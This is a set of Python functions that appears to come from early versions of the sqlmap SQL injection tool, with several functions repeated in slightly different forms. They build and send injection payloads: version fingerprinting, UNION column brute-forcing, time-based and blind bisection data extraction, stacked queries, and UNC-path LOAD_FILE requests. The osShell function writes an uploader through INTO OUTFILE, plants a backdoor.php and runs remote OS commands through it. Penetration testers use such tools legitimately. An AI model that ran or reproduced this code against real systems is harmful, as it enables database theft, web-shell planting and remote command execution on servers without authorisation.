def __commentCheck(self): infoMsg = "executing MySQL comment injection fingerprint" logger.info(infoMsg) query = agent.prefixQuery(" /* NoValue */") query = agent.postfixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if not result: warnMsg = "unable to perform MySQL comment injection" logger.warn(warnMsg) return None # MySQL valid versions updated on 01/2010 versions = ( (32200, 32234), # MySQL 3.22 (32300, 32360), # MySQL 3.23 (40000, 40032), # MySQL 4.0 (40100, 40123), # MySQL 4.1 (50000, 50090), # MySQL 5.0 (50100, 50142), # MySQL 5.1 (50400, 50405), # MySQL 5.4 (50500, 50502), # MySQL 5.5 (60000, 60011), # MySQL 6.0 ) for element in versions: prevVer = None for version in range(element[0], element[1] + 1): randInt = randomInt() version = str(version) query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1)) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if result: if not prevVer: prevVer = version if version[0] == "3": midVer = prevVer[1:3] else: midVer = prevVer[2] trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) return trueVer prevVer = version return None
def __commentCheck(self): logMsg = "executing MySQL comment injection fingerprint" logger.info(logMsg) query = agent.prefixQuery(" /* NoValue */") query = agent.postfixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if result != kb.defaultResult: warnMsg = "unable to perform MySQL comment injection" logger.warn(warnMsg) return None # MySQL valid versions updated at 10/2008 versions = ( (32200, 32233), # MySQL 3.22 (32300, 32359), # MySQL 3.23 (40000, 40031), # MySQL 4.0 (40100, 40125), # MySQL 4.1 (50000, 50074), # MySQL 5.0 (50100, 50131), # MySQL 5.1 (60000, 60009), # MySQL 6.0 ) for element in versions: prevVer = None for version in range(element[0], element[1] + 1): randInt = randomInt() version = str(version) query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1)) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if result == kb.defaultResult: if not prevVer: prevVer = version if version[0] == "3": midVer = prevVer[1:3] else: midVer = prevVer[2] trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) return trueVer prevVer = version return None
def __unionTestByNULLBruteforce(comment): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 50 columns on the target database table """ columns = None value = None query = agent.prefixQuery(" UNION ALL SELECT NULL") for count in range(0, 50): if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"): query = query[:-len(" FROM DUAL")] if count: query += ", NULL" if kb.dbms == "Oracle": query += " FROM DUAL" commentedQuery = agent.postfixQuery(query, comment) payload = agent.payload(newValue=commentedQuery) seqMatcher = Request.queryPage(payload, getSeqMatcher=True) if seqMatcher >= 0.6: columns = count + 1 value = __forgeUserFriendlyValue(payload) break return value, columns
def uncPathRequest(self): if not kb.stackedTest: query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) Request.queryPage(payload) else: inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
def goStacked(expression): """ TODO: write description """ comment = queries[kb.dbms].comment query = agent.prefixQuery("; %s" % expression) query = agent.postfixQuery("%s;%s" % (query, comment)) payload = agent.payload(newValue=query) page = Request.queryPage(payload, content=True) return payload, page
def __webFileInject(self, fileContent, fileName, directory): outFile = posixpath.normpath("%s/%s" % (directory, fileName)) uplQuery = fileContent.replace( "WRITABLE_DIR", directory.replace("/", "\\") if kb.os == "Windows" else directory ) query = " LIMIT 1 INTO OUTFILE '%s' " % outFile query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery) query = agent.prefixQuery(" %s" % query) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) page = Request.queryPage(payload) return page
def goStacked(expression, silent=False): expression = cleanQuery(expression) debugMsg = "query: %s" % expression logger.debug(debugMsg) comment = queries[kb.dbms].comment query = agent.prefixQuery("; %s" % expression) query = agent.postfixQuery("%s;%s" % (query, comment)) payload = agent.payload(newValue=query) page, _ = Request.queryPage(payload, content=True, silent=silent) return payload, page
def timeTest(): infoMsg = "testing time based blind sql injection on parameter " infoMsg += "'%s' with AND condition syntax" % kb.injParameter logger.info(infoMsg) timeQuery = getDelayQuery(andCond=True) query = agent.prefixQuery(" AND %s" % timeQuery) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) start = time.time() _ = Request.queryPage(payload) duration = int(time.time() - start) if duration >= conf.timeSec: infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter infoMsg += "based blind sql injection with AND condition syntax" logger.info(infoMsg) kb.timeTest = payload else: warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter warnMsg += "based blind sql injection with AND condition syntax" logger.warn(warnMsg) infoMsg = "testing time based blind sql injection on parameter " infoMsg += "'%s' with stacked query syntax" % kb.injParameter logger.info(infoMsg) timeQuery = getDelayQuery(andCond=True) start = time.time() payload, _ = inject.goStacked(timeQuery) duration = int(time.time() - start) if duration >= conf.timeSec: infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter infoMsg += "based blind sql injection with stacked query syntax" logger.info(infoMsg) kb.timeTest = payload else: warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter warnMsg += "based blind sql injection with stacked query syntax" logger.warn(warnMsg) kb.timeTest = False return kb.timeTest
def timeTest(): infoMsg = "testing time based blind sql injection on parameter " infoMsg += "'%s' with AND condition syntax" % kb.injParameter logger.info(infoMsg) timeQuery = queries[kb.dbms].timedelay % SECONDS query = agent.prefixQuery(" AND %s" % timeQuery) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) start = time.time() _ = Request.queryPage(payload) duration = int(time.time() - start) if duration >= SECONDS: infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter infoMsg += "based blind sql injection with AND condition syntax" logger.info(infoMsg) kb.timeTest = payload else: warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter warnMsg += "based blind sql injection with AND condition syntax" logger.warn(warnMsg) infoMsg = "testing time based blind sql injection on parameter " infoMsg += "'%s' with stacked query syntax" % kb.injParameter logger.info(infoMsg) start = time.time() payload, _ = inject.goStacked(timeQuery) duration = int(time.time() - start) if duration >= SECONDS: infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter infoMsg += "based blind sql injection with stacked query syntax" logger.info(infoMsg) kb.timeTest = payload else: warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter warnMsg += "based blind sql injection with stacked query syntax" logger.warn(warnMsg) kb.timeTest = False return kb.timeTest
def __effectiveUnionTest(query, comment): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 50 columns on the target database table """ resultDict = {} for count in range(0, 50): if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"): query = query[:-len(" FROM DUAL")] if count: query += ", NULL" if kb.dbms == "Oracle": query += " FROM DUAL" commentedQuery = agent.postfixQuery(query, comment) payload = agent.payload(newValue=commentedQuery) newResult = Request.queryPage(payload) if not newResult in resultDict.keys(): resultDict[newResult] = (1, commentedQuery) else: resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery) if count: for element in resultDict.values(): if element[0] == 1: if kb.injPlace == "GET": value = "%s?%s" % (conf.url, payload) elif kb.injPlace == "POST": value = "URL:\t'%s'" % conf.url value += "\nPOST:\t'%s'\n" % payload elif kb.injPlace == "Cookie": value = "URL:\t'%s'" % conf.url value += "\nCookie:\t'%s'\n" % payload elif kb.injPlace == "User-Agent": value = "URL:\t\t'%s'" % conf.url value += "\nUser-Agent:\t'%s'\n" % payload return value return None
def __unionTestByOrderBy(comment): columns = None value = None prevPayload = "" for count in range(1, 51): query = agent.prefixQuery(" ORDER BY %d" % count) orderByQuery = agent.postfixQuery(query, comment) payload = agent.payload(newValue=orderByQuery) seqMatcher = Request.queryPage(payload, getSeqMatcher=True) if seqMatcher >= 0.6: columns = count elif columns: value = __forgeUserFriendlyValue(prevPayload) break prevPayload = payload return value, columns
def __goInferenceProxy(expression, fromUser=False, expected=None): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ query = agent.prefixQuery(" %s" % temp.inference) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = [] test = None untilLimitChar = None untilOrderChar = None output = resume(expression, payload) if output and ( expected == None or ( expected == "int" and output.isdigit() ) ): return output if kb.dbmsDetected: _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression) if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than a field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are going blind" logger.info(infoMsg) # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case # forge the SQL limiting the query output one entry per time # NOTE: I assume that only queries that get data from a table # can return multiple entries if fromUser and " FROM " in expression: limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I) if limitRegExp: if kb.dbms in ( "MySQL", "PostgreSQL" ): limitGroupStart = queries[kb.dbms].limitgroupstart limitGroupStop = queries[kb.dbms].limitgroupstop if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ): limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if kb.dbms in ( "MySQL", "PostgreSQL" ): stopLimit += startLimit untilLimitChar = expression.index(queries[kb.dbms].limitstring) expression = expression[:untilLimitChar] if not stopLimit or stopLimit <= 1: if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): test = "n" else: message = "can the SQL query provided return " message += "multiple entries? [Y/n] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): # Count the number of SQL query entries output countFirstField = queries[kb.dbms].count % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] count = resume(countedExpression, payload) if not stopLimit: if not count or not count.isdigit(): count = __goInference(payload, countedExpression) if count and count.isdigit() and int(count) > 0: count = int(count) message = "the SQL query provided can return " message += "up to %d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit\nChoice: " test = readInput(message, default="a") if not test or test[0] in ("a", "A"): stopLimit = count elif test[0] in ("q", "Q"): return "Quit" elif test.isdigit() and int(test) > 0 and int(test) <= count: stopLimit = int(test) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) elif test[0] in ("#", "s", "S"): message = "How many? " stopLimit = readInput(message, default="10") if not stopLimit.isdigit(): errMsg = "Invalid choice" logger.error(errMsg) return None else: stopLimit = int(stopLimit) else: errMsg = "Invalid choice" logger.error(errMsg) return None elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif ( not count or int(count) == 0 ): warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ): warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None for num in xrange(startLimit, stopLimit): limitedExpr = agent.limitQuery(num, expression, expressionFieldsList) output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected) outputs.append(output) return outputs elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression: expression = "%s FROM DUAL" % expression outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected) returnValue = ", ".join([output for output in outputs]) else: returnValue = __goInference(payload, expression) return returnValue
def __goInferenceProxy(expression, fromUser=False, expected=None): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ query = agent.prefixQuery(" %s" % temp.inference) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = [] test = None untilLimitChar = None untilOrderChar = None output = resume(expression, payload) if output and (expected == None or (expected == "int" and output.isdigit())): return output if kb.dbmsDetected: _, _, _, expressionFieldsList, expressionFields = agent.getFields( expression) if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than a field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are going blind" logger.info(infoMsg) # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case # forge the SQL limiting the query output one entry per time # NOTE: I assume that only queries that get data from a table # can return multiple entries if fromUser and " FROM " in expression: limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I) if limitRegExp: if kb.dbms in ("MySQL", "PostgreSQL"): limitGroupStart = queries[kb.dbms].limitgroupstart limitGroupStop = queries[kb.dbms].limitgroupstop if limitGroupStart.isdigit(): startLimit = int( limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif kb.dbms in ("Oracle", "Microsoft SQL Server"): limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if kb.dbms in ("MySQL", "PostgreSQL"): stopLimit += startLimit untilLimitChar = expression.index( queries[kb.dbms].limitstring) expression = expression[:untilLimitChar] if not stopLimit or stopLimit <= 1: if kb.dbms == "Oracle" and expression.endswith( "FROM DUAL"): test = "n" else: message = "can the SQL query provided return " message += "multiple entries? [Y/n] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): # Count the number of SQL query entries output countFirstField = queries[ kb.dbms].count % expressionFieldsList[0] countedExpression = expression.replace( expressionFields, countFirstField, 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] count = resume(countedExpression, payload) if not stopLimit: if not count or not count.isdigit(): count = __goInference(payload, countedExpression) if count and count.isdigit() and int(count) > 0: count = int(count) message = "the SQL query provided can return " message += "up to %d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit\nChoice: " test = readInput(message, default="a") if not test or test[0] in ("a", "A"): stopLimit = count elif test[0] in ("q", "Q"): return "Quit" elif test.isdigit( ) and int(test) > 0 and int(test) <= count: stopLimit = int(test) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) elif test[0] in ("#", "s", "S"): message = "How many? " stopLimit = readInput(message, default="10") if not stopLimit.isdigit(): errMsg = "Invalid choice" logger.error(errMsg) return None else: stopLimit = int(stopLimit) else: errMsg = "Invalid choice" logger.error(errMsg) return None elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0): warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None for num in xrange(startLimit, stopLimit): limitedExpr = agent.limitQuery(num, expression, expressionFieldsList) output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected) outputs.append(output) return outputs elif kb.dbms == "Oracle" and expression.startswith( "SELECT ") and " FROM " not in expression: expression = "%s FROM DUAL" % expression outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected) returnValue = ", ".join([output for output in outputs]) else: returnValue = __goInference(payload, expression) return returnValue
def osShell(self): """ This method is used to write a PHP agent (cmd.php) on a writable remote directory within the web server document root. Such agent is written using the INTO OUTFILE MySQL DBMS functionality @todo: * Add a web application crawling functionality to detect all (at least most) web server directories and merge with Google results if the target host is a publicly available hostname or IP address; * Extend to all DBMS using their functionalities (UDF, stored procedures, etc) to write files on the system or directly execute commands on the system without passing by the agent; * Automatically detect the web server available interpreters parsing 'Server', 'X-Powered-By' and 'X-AspNet-Version' HTTP response headers; * Extend the agent to other interpreters rather than only PHP: ASP, JSP, CGI (Python, Perl, Ruby, Bash). """ logMsg = "retrieving web application directories" logger.info(logMsg) directories = getDirectories() if directories: logMsg = "retrieved web server directories " logMsg += "'%s'" % ", ".join(d for d in directories) logger.info(logMsg) message = "in addition you can provide a list of directories " message += "absolute path comma separated that you want sqlmap " message += "to try to upload the agent [/var/www/test]: " inputDirs = readInput(message, default="/var/www/test") else: message = "please provide the web server document root [/var/www]: " inputDocRoot = readInput(message, default="/var/www") if inputDocRoot: kb.docRoot = inputDocRoot else: kb.docRoot = "/var/www" message = "please provide a list of directories absolute path " message += "comma separated that you want sqlmap to try to " message += "upload the agent [/var/www/test]: " inputDirs = readInput(message, default="/var/www/test") if inputDirs: inputDirs = inputDirs.replace(", ", ",") inputDirs = inputDirs.split(",") for inputDir in inputDirs: directories.add(inputDir) else: directories.add("/var/www/test") logMsg = "trying to upload the uploader agent" logger.info(logMsg) directories = list(directories) directories.sort() uploaded = False backdoorName = "backdoor.php" backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName) uploaderName = "uploader.php" uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName)) for directory in directories: if uploaded: break # Upload the uploader agent uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory) query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName) query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery query = agent.prefixQuery(" %s" % query) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) page = Request.queryPage(payload) if kb.docRoot: requestDir = directory.replace(kb.docRoot, "") else: requestDir = directory baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) uploaderUrl = "%s/%s" % (baseUrl, uploaderName) page, _ = Request.getPage(url=uploaderUrl, direct=True) if "sqlmap backdoor uploader" not in page: warnMsg = "unable to upload the uploader " warnMsg += "agent on '%s'" % directory logger.warn(warnMsg) continue logMsg = "the uploader agent has been successfully uploaded " logMsg += "on '%s'" % directory logger.info(logMsg) # Upload the backdoor through the uploader agent multipartParams = { "upload": "1", "file": open(backdoorPath, "r"), "uploadDir": directory, } uploaderUrl = "%s/%s" % (baseUrl, uploaderName) page, _ = Request.getPage(url=uploaderUrl, multipart=multipartParams) if "Backdoor uploaded" not in page: warnMsg = "unable to upload the backdoor through " warnMsg += "the uploader agent on '%s'" % directory logger.warn(warnMsg) continue uploaded = True backdoorUrl = "%s/%s" % (baseUrl, backdoorName) logMsg = "the backdoor has been successfully uploaded on " logMsg += "'%s', go with your browser to " % directory logMsg += "'%s' and enjoy it!" % backdoorUrl logger.info(logMsg) message = "do you want to use the uploaded backdoor as a " message += "shell to execute commands right now? [Y/n] " shell = readInput(message, default="Y") if shell in ("n", "N"): continue logMsg = "calling OS shell. To quit type " logMsg += "'x' or 'q' and press ENTER" logger.info(logMsg) autoCompletion(osShell=True) while True: command = None try: command = raw_input("$ ") except KeyboardInterrupt: print errMsg = "user aborted" logger.error(errMsg) except EOFError: print errMsg = "exit" logger.error(errMsg) break if not command: continue if command.lower() in ( "x", "q", "exit", "quit" ): break cmdUrl = "%s?cmd=%s" % (backdoorUrl, command) page, _ = Request.getPage(url=cmdUrl, direct=True) output = re.search("<pre>(.+?)</pre>", page, re.I | re.S) if output: print output.group(1) else: print "No output"